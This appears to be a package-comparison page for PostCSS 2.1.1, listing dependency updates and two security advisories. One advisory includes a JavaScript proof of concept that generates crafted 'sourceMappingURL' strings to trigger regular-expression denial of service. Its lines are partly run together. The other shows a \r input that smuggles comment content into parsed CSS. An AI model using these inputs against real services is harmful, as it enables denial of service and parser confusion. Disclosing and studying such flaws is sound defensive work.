PostCSS version 2.1.1 represents a minor update over its predecessor, version 2.1.0, offering subtle yet potentially impactful refinements for developers leveraging this CSS post-processing framework. Both versions share the core functionality of providing a robust and extensible platform for transforming CSS with full source map support, enabling a modern workflow for CSS development. Key dependencies like base64-js remain consistent between the two versions, ensuring backward compatibility for related functionalities. However, a noteworthy change lies in the update of the source-map dependency, shifting from version 0.1.37 in 2.1.0 to 0.1.38 in 2.1.1. While seemingly minor, this update might include bug fixes, performance improvements, or enhanced source map generation capabilities, crucial for debugging and maintaining complex CSS projects.
The development environment also sees some upgrades. request goes from 2.39.0 to 2.40.0, gulp from 3.8.6 to 3.8.7 and gulp-jshint from 1.8.0 to 1.8.3. These upgraded developer dependencies, though not directly influencing the core functionality of PostCSS, contribute to a more streamlined and efficient development workflow. The release date difference, with 2.1.1 released approximately a week after 2.1.0, suggests that the updates were likely addressing immediate issues or incorporating quick enhancements identified shortly after the initial release. Developers already using PostCSS 2.1.0 should consider upgrading to 2.1.1 to benefit from the dependency updates and potential refinements. New users will find both versions very similar.
All the vulnerabilities related to the version 2.1.1 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r
discrepancies, as demonstrated by @font-face{ font:(\r/*);}
in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.